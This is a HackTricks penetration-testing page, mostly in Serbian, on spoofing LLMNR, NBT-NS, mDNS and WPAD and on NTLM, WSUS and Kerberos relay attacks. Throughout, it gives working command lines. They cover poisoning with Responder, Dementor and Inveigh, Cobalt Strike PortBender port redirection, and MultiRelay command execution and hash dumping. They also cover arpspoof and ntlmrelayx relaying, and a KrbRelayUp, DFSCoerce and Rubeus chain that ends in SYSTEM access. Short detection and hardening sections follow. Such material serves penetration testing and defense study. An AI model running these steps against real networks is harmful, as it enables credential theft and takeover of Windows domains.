Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Mrežni protokoli

Lokalni protokoli za rešavanje imena hostova

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično tome, Apple i Linux sistemi koriste mDNS.
  • Ovi protokoli su podložni presretanju i spoofovanju zbog njihove neautentifikovane, broadcast prirode preko UDP-a.
  • Responder i Dementor mogu se koristiti za impersonaciju servisa slanjem falsifikovanih odgovora hostovima koji upituju ove protokole.
  • Dalje informacije o impersonaciji servisa koristeći Responder mogu se naći here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD omogućava browserima da automatski otkriju proxy podešavanja.
  • Otkrivanje se vrši preko DHCP-a, DNS-a, ili kao fallback preko LLMNR i NBT-NS ako DNS zakaže.
  • Responder može automatizovati WPAD napade, usmeravajući klijente na zlonamerne WPAD servere.

Responder/Dementor za Protocol Poisoning

  • Responder je alat koji se koristi za poisoning LLMNR, NBT-NS i mDNS upita, selektivno odgovarajući na osnovu tipova upita, primarno ciljajući SMB servise.

  • Dolazi preinstaliran u Kali Linux-u, konfigurisano u /etc/responder/Responder.conf.

  • Responder prikazuje uhvaćene hash-e na ekranu i čuva ih u direktorijumu /usr/share/responder/logs.

  • Podržava i IPv4 i IPv6.

  • Windows verzija Responder-a je dostupna here.

  • Dementor proširuje teme multicast poisoning-a i dodatno deluje kao rogue service provider (uključujući CUPS RCE podršku).

  • Ukupna struktura je slična Responder-u sa granuliranijom konfiguracijom. (default je ovde: Dementor.toml)

  • Kompatibilnost između Dementor i Responder je data ovde: Compatibility Matrix

  • Uvod i dokumentacija ovde: Dementor - Docs

  • Ispravlja probleme sa capture-om koje je Responder uveo na određenim protokolima

Pokretanje Responder

  • Za pokretanje Responder-a sa podrazumevanim podešavanjima: responder -I <Interface>
  • Za agresivnije sondiranje (sa mogućim neželjenim efektima): responder -I <Interface> -P -r -v
  • Tehnike za hvatanje NTLMv1 challenge/response radi lakšeg cracking-a: responder -I <Interface> --lm --disable-ess
  • WPAD impersonacija može se aktivirati sa: responder -I <Interface> --wpad
  • NetBIOS zahtevi se mogu rešavati na IP napadača, i može se postaviti authentication proxy: responder.py -I <interface> -Pv

Pokretanje Dementor

  • Sa podrazumevanim podešavanjima: Dementor -I <interface>
  • Sa podrazumevanim podešavanjima u analysis modu: Dementor -I <interface> -A
  • Automatsko NTLM session downgrade (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Pokreni trenutnu sesiju sa custom konfiguracijom: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • Spoofovanje DHCP odgovora može trajno poison-ovati ruting informacije žrtve, nudeći diskretniju alternativu ARP poisoning-u.
  • Zahteva precizno poznavanje konfiguracije ciljne mreže.
  • Pokretanje napada: ./Responder.py -I eth0 -Pdv
  • Ova metoda može efikasno uhvatiti NTLMv1/2 hash-e, ali zahteva pažljivo rukovanje da bi se izbeglo ometanje mreže.

Hvatanje kredencijala sa Responder/Dementor

  • Responder/Dementor će impersonirati servise koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 Challenge/Response) kada korisnik pokuša da se autentifikuje prema spoofovanim servisima.
  • Mogu se pokušati downgrade-ovi na NetNTLMv1 ili onemogućavanje ESS za lakše cracking-ovanje kredencijala.

Važno je napomenuti da se primena ovih tehnika treba raditi legalno i etički, uz odgovarajuću autorizaciju i izbegavanje ometanja ili neovlašćenog pristupa.

Inveigh

Inveigh je alat za penetration testere i red timove, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, izvodeći spoofing i man-in-the-middle napade. Alat se razvio iz PowerShell skripte u C# binarni fajl, sa Inveigh i InveighZero kao glavnim verzijama. Detaljni parametri i instrukcije mogu se naći u wiki.

Inveigh se može upravljati preko PowerShell-a:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ili pokrenuto kao C# binary:

Inveigh.exe

NTLM Relay Attack

Ovaj napad iskorišćava SMB authentication sessions da pristupi ciljnom računaru i, ako uspe, obezbedi system shell. Ključni preduslovi uključuju:

  • Korisnik koji se autentifikuje mora imati Local Admin pristup na relayed host.
  • SMB signing treba biti onemogućen.

445 Port Forwarding and Tunneling

U situacijama gde direktan pristup mreži nije moguć, saobraćaj na portu 445 mora biti prosleđen i tunelovan. Alati poput PortBender pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je local admin access dostupan za driver loading.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Ostali alati za NTLM Relay Attack

  • Metasploit: Podesiti sa proxy-ima, podacima o lokalnom i udaljenom hostu.
  • smbrelayx: Python skripta za relaying SMB sesija, izvršavanje komandi ili postavljanje backdoor-a.
  • MultiRelay: Alat iz Responder suite za relay određenih korisnika ili svih korisnika, izvršavanje komandi ili dumpovanje hash-ova.

Svaki alat može biti konfigurisan da radi preko SOCKS proxy-a ako je potrebno, što omogućava napade čak i pri indirektnom mrežnom pristupu.

Operacija MultiRelay-a

MultiRelay se pokreće iz direktorijuma /usr/share/responder/tools, ciljajući određene IP adrese ili korisnike.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

Zloupotreba WSUS HTTP (8530) za NTLM Relay na LDAP/SMB/AD CS (ESC8)

WSUS klijenti se autentifikuju prema svom update serveru koristeći NTLM preko HTTP (8530) ili HTTPS (8531). Kada je HTTP omogućen, periodične provere klijenata mogu biti prisiljene ili presretnute na lokalnom segmentu i reléovane sa ntlmrelayx na LDAP/LDAPS/SMB ili AD CS HTTP endpoint-e (ESC8) bez cracking-a any hashes. Ovo se uklapa u normalan update saobraćaj i često dovodi do autentifikacija mašinskih naloga (HOST$).

What to look for

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and …\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Neautentifikovano
  • Skeniraj za listener-e: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • Sniffuj HTTP WSUS saobraćaj preko L2 MITM i loguj aktivne klijente/endpoint-e sa wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Autentifikovano
  • Parsiraj SYSVOL GPOs za WSUS ključeve sa MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Upit endpoint-a na skali sa hostova (NetExec) ili lokalno: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay koraci

  1. Pozicionirajte se za MITM (isti L2) tako da klijent rezolvuje WSUS server na vas (ARP/DNS poisoning, Bettercap, mitm6, itd.). Primer sa arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Preusmerite port 8530 na vaš relay listener (opciono, praktično): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. Startujte ntlmrelayx sa HTTP listener-om (zahteva Impacket support za HTTP listener; vidi PR-ove ispod): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Trigger-ujte client check-in ili sačekajte raspored. Sa klijenta: wuauclt.exe /detectnow ili koristite Windows Update UI (Check for updates).

  2. Koristite autentifikovane SOCKS sesije (ako -socks) ili direktne rezultate relay-a za post-exploitation (LDAP izmene, SMB operacije, ili izdavanje AD CS sertifikata za kasniju autentifikaciju).

HTTPS constraint (8531)

  • Pasivno presretanje WSUS-a preko HTTPS-a nije efikasno osim ako klijenti ne veruju vašem sertifikatu. Bez trusted cert-a ili druge TLS ranjivosti, NTLM handshake se ne može harvest-ovati/relay-ovati iz WSUS HTTPS saobraćaja.

Napomene

  • WSUS je najavljeno kao deprecated ali ostaje široko deploy-ovan; HTTP (8530) je i dalje uobičajen u mnogim okruženjima.
  • Korisni alati: wsusniff.py (posmatraj HTTP WSUS check-ins), wsuspider.sh (enumeriši WUServer/WUStatusServer iz GPO-a), NetExec reg-query na skali.
  • Impacket je vratio HTTP listener podršku za ntlmrelayx u PR #2034 (prvobitno dodat u PR #913).

Forsiranje NTLM prijava

U Windows-u možete možda forsirati da se neki privilegovani nalozi autentifikuju na proizvoljne mašine. Pročitajte sledeću stranicu da naučite kako:

Force NTLM Privileged Authentication

Kerberos Relay napad

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). Ovo radi iako se service class SPN-ova razlikuju (npr. CIFS/LDAP/) zato što je ključ koji dekriptuje ticket NT hash mašine, a ne SPN string sam po sebi, i SPN string nije deo potpisa.

Za razliku od NTLM relay, skok je ograničen na isti host, ali ako target-ujete protokol koji vam omogućava pisanje u LDAP, možete se spojiti u Resource-Based Constrained Delegation (RBCD) ili AD CS enrollment i izvući NT AUTHORITY\SYSTEM u jednom potezu.

Za detaljne informacije o ovom napadu pogledajte:

TokenSvrhaRelay relevance
TGT / AS-REQ ↔ REPDokazuje korisnika KDC-unepromenjeno
Service ticket / TGS-REQ ↔ REPVeže se za jedan SPN; enkriptovan sa ključem vlasnika SPN-azamenjiv ako SPN-ovi dele nalog
AP-REQKlijent šalje TGS servisuono što krademo & replay-ujemo
  • Tickets su enkriptovani sa password-derived key naloga koji poseduje SPN.
  • Authenticator unutar AP-REQ ima vremensku oznaku od 5 minuta; replay unutar tog prozora važi dok servisni cache ne detektuje duplikat.
  • Windows retko proverava da li SPN string u ticket-u odgovara servisu kome pristupate, tako da ticket za CIFS/HOST obično dekriptuje ispravno na LDAP/HOST.
    1. Šta mora biti ispunjeno da bi se Kerberos relé mogao izvršiti
  1. Shared key: izvorni i ciljni SPN-ovi pripadaju istom computer nalogu (podrazumevano na Windows serverima).
  2. No channel protection: SMB/LDAP signing isključen i EPA isključen za HTTP/LDAPS.
  3. Možete presresti ili prisiliti autentifikaciju: LLMNR/NBNS poisoning, DNS spoof, PetitPotam / DFSCoerce RPC, lažni AuthIP, rogue DCOM, itd.
  4. Izvor ticket-a nije već iskorišćen: morate pobediti u trci pre nego što pravi paket stigne ili ga potpuno blokirati; inače servisni replay cache generiše Event 4649.
  5. Morate na neki način moći da izvedete MitM u komunikaciji — npr. biti član DNSAmins grupe da modifikujete DNS domena ili imati mogućnost menjanja HOST fajla žrtve.

Kerberos Relay Steps

  • 3.1 Izviđanje hosta
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Pokrenite relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp spakuje KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in one binary.

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce natera DC da nam pošalje Kerberos CIFS/DC01 ticket.

  • 3.4 Relay the AP-REQ

KrbRelay izvlači GSS blob iz SMB-a, pakuje ga u LDAP bind i prosleđuje na ldap://DC01—autentifikacija uspeva jer ga dešifruje isti ključ.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Sada posedujete NT AUTHORITY\SYSTEM.

Dodatni putevi koje vredi znati

VectorTrickWhy it matters
AuthIP / IPSecLažni server šalje GSS-ID payload sa bilo kojim SPN; klijent gradi AP-REQ direktno prema vamaRadi čak i preko subnetova; machine creds su podrazumevano
DCOM / MSRPCZlonamerni OXID resolver primorava klijenta da se autentifikuje prema proizvoljnom SPN i portuČisti lokalni priv-esc; zaobilazi firewall
AD CS Web EnrollProsledite machine ticket ka HTTP/CA i dobijte cert, zatim PKINIT da mint-ujete TGTsZaobilazi LDAP signing odbrane
Shadow CredentialsUpisati msDS-KeyCredentialLink, zatim PKINIT sa lažnim parom ključevaNema potrebe da se doda computer account

Otklanjanje problema

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDKljuč tiketa ≠ ključ ciljaPogrešan host/SPN
KRB_AP_ERR_SKEWSat ima odstupanje > 5 minSinhronizujte vreme ili koristite w32tm
LDAP bind failsPotpisivanje je obaveznoKoristite AD CS path ili onemogućite signing
Event 4649 spamServis je video duplikat Authenticator-ablokirajte ili race-ujte originalni paket

Detekcija

  • Naglo povećanje Event 4769 za CIFS/, HTTP/, LDAP/ sa istog izvora u roku od nekoliko sekundi.
  • Event 4649 na servisu ukazuje da je otkriven replay.
  • Kerberos prijava sa 127.0.0.1 (relay do lokalnog SCM-a) je vrlo sumnjiva — mapirajte pomoću Sigma pravila u KrbRelayUp docs.
  • Pratite izmene atributa msDS-AllowedToActOnBehalfOfOtherIdentity ili msDS-KeyCredentialLink.

Ojačavanje

  1. Obavezno omogućite LDAP & SMB signing + EPA na svakom serveru.
  2. Razdvojite SPN-ove tako da HTTP ne bude na istom nalogu kao CIFS/LDAP.
  3. Zakrpajte coercion vektore (PetitPotam KB5005413, DFS, AuthIP).
  4. Postavite ms-DS-MachineAccountQuota = 0 da biste sprečili neovlašćena pridruživanja računara.
  5. Postavite alarm na Event 4649 i neočekivane loopback Kerberos prijave.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks